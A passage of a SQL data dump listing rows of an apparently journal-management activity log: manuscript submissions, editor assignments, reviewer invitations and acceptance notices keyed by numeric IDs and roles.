(Notify Author) article',7189,'Editor',204),(65773,'0000-00-00 00:00:00','Publisher : Notified Author',7189,'Publisher',85),(65778,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7419,'Publisher',48),(65779,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7419,'Publisher',48),(65780,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7419,'Publisher',48),(65781,'0000-00-00 00:00:00','Author sent Email',6549,'Author',4286),(65782,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7420,'Publisher',75),(65788,'0000-00-00 00:00:00','Manuscript has been Revised',7189,'Author',8459),(65790,'0000-00-00 00:00:00','Author sent Email',7189,'Author',8459),(65804,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7420,'Editor',160),(65805,'0000-00-00 00:00:00','Editor has Invited Reviewer',7420,'Editor',160),(65806,'0000-00-00 00:00:00','Editor has Invited Reviewer',7420,'Editor',160),(65807,'0000-00-00 00:00:00','Editor has Invited Reviewer',7420,'Editor',160),(65808,'0000-00-00 00:00:00','Editor has Invited Reviewer',7420,'Editor',160),(65809,'0000-00-00 00:00:00','Editor has Invited Reviewer',7420,'Editor',160),(65811,'0000-00-00 00:00:00','Manuscript Submitted by Author',7441,'Author',8331),(65812,'0000-00-00 00:00:00','Manuscript Submitted by Author',7442,'Author',8331),(65821,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7424,'Publisher',984),(65840,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7060,'Publisher',75),(65842,'0000-00-00 00:00:00','Publisher : Notified Editor',6849,'Publisher',984),(65844,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7445,'Publisher',48),(65847,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7421,'Publisher',248),(65848,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7396,'Publisher',248),(65849,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7160,'Publisher',48),(65850,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7151,'Publisher',48),(65851,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7165,'Publisher',48),(65852,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7165,'Publisher',48),(65853,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7182,'Publisher',48),(65854,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6910,'Publisher',48),(65856,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6908,'Publisher',48),(65886,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7428,'Publisher',673),(65892,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7424,'Publisher',984),(65893,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7424,'Publisher',984),(65894,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7424,'Publisher',984),(65895,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7424,'Publisher',984),(65896,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7424,'Publisher',984),(65897,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7424,'Publisher',984),(65898,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7424,'Publisher',984),(65899,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7424,'Publisher',984),(65900,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7424,'Publisher',984),(65901,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7424,'Publisher',984),(65902,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7424,'Publisher',984),(65903,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7424,'Publisher',984),(65904,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7424,'Publisher',984),(65905,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7291,'Publisher',85),(65933,'0000-00-00 00:00:00','Reviewer has submitted comments',7424,'Reviewer',10967),(65934,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7449,'Publisher',48),(65935,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7450,'Author',8709),(65995,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7348,'Editor',194),(65996,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7348,'Editor',194),(66000,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7348,'Publisher',48),(66002,'0000-00-00 00:00:00','Publisher : Notified Editor',7189,'Publisher',85),(66003,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7189,'Editor',204),(66004,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(66005,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(66006,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(66009,'0000-00-00 00:00:00','Reviewer has submitted comments',7395,'Reviewer',15676),(66010,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7458,'Author',8717),(66013,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7459,'Author',8718),(66034,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(66035,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(66036,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(66037,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(66038,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(66039,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(66040,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(66041,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(66042,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(66043,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(66047,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7462,'Author',8723),(66048,'0000-00-00 00:00:00','Author sent Email',7189,'Author',8459),(66049,'0000-00-00 00:00:00','Author sent Email',7189,'Author',8459),(66078,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7070,'Publisher',274),(66079,'0000-00-00 00:00:00','Publisher : Notified Author',7095,'Publisher',274),(66080,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7441,'Publisher',75),(66081,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7442,'Publisher',75),(66082,'0000-00-00 00:00:00','Reviewer has submitted comments',7060,'Reviewer',13225),(66083,'0000-00-00 00:00:00','Publisher : Notified Editor',7060,'Publisher',75),(66084,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7426,'Publisher',48),(66085,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7426,'Publisher',48),(66087,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7426,'Publisher',48),(66089,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7426,'Publisher',48),(66090,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7426,'Publisher',48),(66091,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7426,'Publisher',48),(66093,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7060,'Editor',162),(66094,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7163,'Editor',162),(66095,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7441,'Editor',162),(66096,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7442,'Editor',162),(66097,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7060,'Publisher',75),(66112,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66113,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66114,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66115,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66116,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66117,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66118,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66119,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66120,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66121,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66122,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7445,'Publisher',48),(66123,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7445,'Publisher',48),(66126,'0000-00-00 00:00:00','Publisher : Notified Author',6851,'Publisher',85),(66128,'0000-00-00 00:00:00','Author sent Email',7189,'Author',8459),(66129,'0000-00-00 00:00:00','Reviewer has submitted comments',7424,'Reviewer',10963),(66132,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7189,'Publisher',85),(66140,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7450,'Publisher',48),(66141,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7449,'Publisher',48),(66191,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7472,'Author',8733),(66192,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7473,'Author',8734),(66207,'0000-00-00 00:00:00','Reviewer has submitted comments',7426,'Reviewer',5467),(66208,'0000-00-00 00:00:00','Reviewer has submitted comments',7426,'Reviewer',5467),(66211,'0000-00-00 00:00:00','Reviewer has submitted comments',7070,'Reviewer',12022),(66224,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66225,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66226,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66227,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66228,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66229,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66230,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66231,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66232,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66233,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66235,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7459,'Publisher',248),(66254,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7458,'Publisher',376),(66255,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',6849,'Editor',1406),(66256,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',6849,'Editor',1406),(66257,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',6849,'Publisher',984),(66260,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7395,'Editor',194),(66261,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7395,'Editor',194),(66262,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7419,'Editor',194),(66263,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7419,'Editor',194),(66290,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7477,'Publisher',85),(66301,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7432,'Publisher',645),(66315,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7279,'Publisher',85),(66316,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7279,'Publisher',85),(66317,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6964,'Publisher',85),(66318,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(66319,'0000-00-00 00:00:00','Publisher has Invited Reviewer',6800,'Publisher',85),(66321,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(66322,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7029,'Publisher',85),(66323,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7441,'Publisher',75),(66324,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7441,'Publisher',75),(66325,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7441,'Publisher',75),(66326,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7441,'Publisher',75),(66327,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7441,'Publisher',75),(66328,'0000-00-00 00:00:00','Publisher : Notified Editor',7132,'Publisher',75),(66329,'0000-00-00 00:00:00','Publisher has been Rejected Articles  article',6457,'Publisher',988),(66330,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6429,'Publisher',988),(66331,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6424,'Publisher',988),(66332,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6443,'Publisher',988),(66333,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6420,'Publisher',988),(66334,'0000-00-00 00:00:00','Publisher has been Withdrawn  article',6223,'Publisher',988),(66341,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7070,'Editor',1235),(66342,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7070,'Editor',1235),(66343,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7458,'Publisher',376),(66344,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7458,'Publisher',376),(66345,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7332,'Editor',1594),(66346,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7458,'Publisher',376),(66347,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7458,'Publisher',376),(66348,'0000-00-00 00:00:00','Editor has been Revise (Notify Author) article',7332,'Editor',1594),(66349,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7458,'Publisher',376),(66350,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7458,'Publisher',376),(66351,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7458,'Publisher',376),(66352,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7458,'Publisher',376),(66353,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7458,'Publisher',376),(66354,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7458,'Publisher',376),(66355,'0000-00-00 00:00:00','Publisher : Notified Author',7070,'Publisher',274),(66356,'0000-00-00 00:00:00','Publisher : Notified Author',7332,'Publisher',274),(66357,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7450,'Publisher',48),(66358,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7450,'Publisher',48),(66362,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7442,'Publisher',75),(66363,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7442,'Publisher',75),(66364,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7442,'Publisher',75),(66365,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7442,'Publisher',75),(66366,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7442,'Publisher',75),(66367,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7449,'Publisher',48),(66379,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7472,'Publisher',274),(66433,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7487,'Author',8742),(66436,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7490,'Author',8745),(66521,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7493,'Publisher',48),(66525,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7494,'Author',8748),(66531,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66532,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66533,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66534,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66535,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66536,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66537,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66538,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66539,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66540,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66541,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(66542,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(66543,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(66544,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(66545,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(66546,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(66547,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(66548,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(66549,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(66550,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(66551,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(66552,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7101,'Publisher',673),(66559,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7189,'Publisher',85),(66560,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7291,'Publisher',85),(66564,'0000-00-00 00:00:00','Author sent Email',7442,'Author',8331),(66565,'0000-00-00 00:00:00','Author sent Email',7441,'Author',8331),(66581,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7477,'Publisher',85),(66584,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',7060,'Publisher',75),(66586,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7497,'Publisher',984),(66587,'0000-00-00 00:00:00','Reviewer has submitted comments',7110,'Reviewer',13225),(66588,'0000-00-00 00:00:00','Publisher : Notified Editor',7110,'Publisher',75),(66589,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7110,'Editor',160),(66590,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7493,'Publisher',48),(66591,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7493,'Publisher',48),(66592,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7493,'Publisher',48),(66593,'0000-00-00 00:00:00','Author sent Email',7189,'Author',8459),(66594,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7490,'Publisher',85),(66595,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7490,'Publisher',85),(66596,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7490,'Publisher',85),(66597,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7490,'Publisher',85),(66598,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7490,'Publisher',85),(66599,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7490,'Publisher',85),(66600,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7490,'Publisher',85),(66601,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7490,'Publisher',85),(66602,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(66603,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(66604,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(66605,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(66606,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(66607,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(66628,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7445,'Publisher',48),(66629,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7445,'Publisher',48),(66630,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7445,'Publisher',48),(66631,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7426,'Editor',194),(66632,'0000-00-00 00:00:00','Editor has been Editor Decision Accepted article',7426,'Editor',194),(66633,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7426,'Publisher',48),(66639,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7501,'Author',8755),(66699,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7405,'Publisher',319),(66700,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7404,'Publisher',319),(66701,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7402,'Publisher',319),(66702,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7401,'Publisher',319),(66703,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7400,'Publisher',319),(66704,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7404,'Editor',1067),(66705,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7402,'Editor',1067),(66706,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7401,'Editor',1067),(66707,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7400,'Editor',1067),(66708,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7405,'Editor',1067),(66709,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7490,'Publisher',85),(66710,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7490,'Publisher',85),(66711,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7490,'Publisher',85),(66712,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7490,'Publisher',85),(66713,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(66714,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(66715,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(66716,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(66717,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(66718,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(66719,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(66720,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(66721,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(66722,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(66723,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(66724,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(66725,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7477,'Publisher',85),(66743,'0000-00-00 00:00:00','Author sent Email',7189,'Author',8459),(66744,'0000-00-00 00:00:00','Reviewer has been sent email to Publisher',7490,'Reviewer',16673),(66748,'0000-00-00 00:00:00','Reviewer has submitted comments',7420,'Reviewer',16051),(66752,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7504,'Author',8758),(66773,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7511,'Author',8765),(66784,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7494,'Publisher',248),(66785,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7487,'Publisher',248),(66787,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7501,'Publisher',274),(66788,'0000-00-00 00:00:00','Manuscript Submitted by Author using Submission form',7516,'Author',8770),(66789,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66790,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66791,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66792,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66793,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66794,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66795,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66796,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66797,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66798,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66799,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66800,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66801,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66802,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66803,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7428,'Publisher',673),(66825,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7110,'Publisher',75),(66826,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7497,'Publisher',984),(66827,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7497,'Publisher',984),(66828,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7497,'Publisher',984),(66829,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7497,'Publisher',984),(66830,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7497,'Publisher',984),(66831,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7497,'Publisher',984),(66832,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7497,'Publisher',984),(66833,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7497,'Publisher',984),(66834,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7497,'Publisher',984),(66835,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7497,'Publisher',984),(66836,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7497,'Publisher',984),(66837,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7497,'Publisher',984),(66838,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7497,'Publisher',984),(66858,'0000-00-00 00:00:00','Publisher has been Assigned Editor',7462,'Publisher',84),(66869,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7517,'Publisher',85),(66870,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7518,'Publisher',85),(66884,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(66885,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(66886,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(66887,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(66888,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(66889,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(66890,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7494,'Publisher',248),(66891,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7487,'Publisher',248),(66892,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7487,'Publisher',248),(66893,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7487,'Publisher',248),(66894,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7487,'Publisher',248),(66895,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7487,'Publisher',248),(66896,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7487,'Publisher',248),(66897,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7487,'Publisher',248),(66898,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7487,'Publisher',248),(66899,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7487,'Publisher',248),(66900,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7487,'Publisher',248),(66901,'0000-00-00 00:00:00','Publisher has Invited Reviewer',7487,'Publisher',248),(66905,'0000-00-00 00:00:00','Publisher has been Accepted Articles  article',6875,'Publisher',988),(66906,'0000-00-00 00:00:00','Manuscript Submitted by Publisher',7519,'Publisher',48),(66907,'0000-00-00 00:00:00','Publisher: Accept Notification has been sent to Author',7426,'Publisher',48),(66917,'0000-00-00 00:00:00','Author sent Email',7189,'Author',8459),(66925,'0000-00-00 00:00:00','Editor has Accepted to review Manuscript',7462,'Editor',222),(66926,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66927,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66928,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66929,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66930,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66931,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66932,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66933,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66934,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66935,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66936,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66937,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66938,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66939,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66940,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66941,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66942,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66943,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66944,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66945,'0000-00-00 00:00:00','Editor has Invited Reviewer',7462,'Editor',222),(66946,'0000-00-00 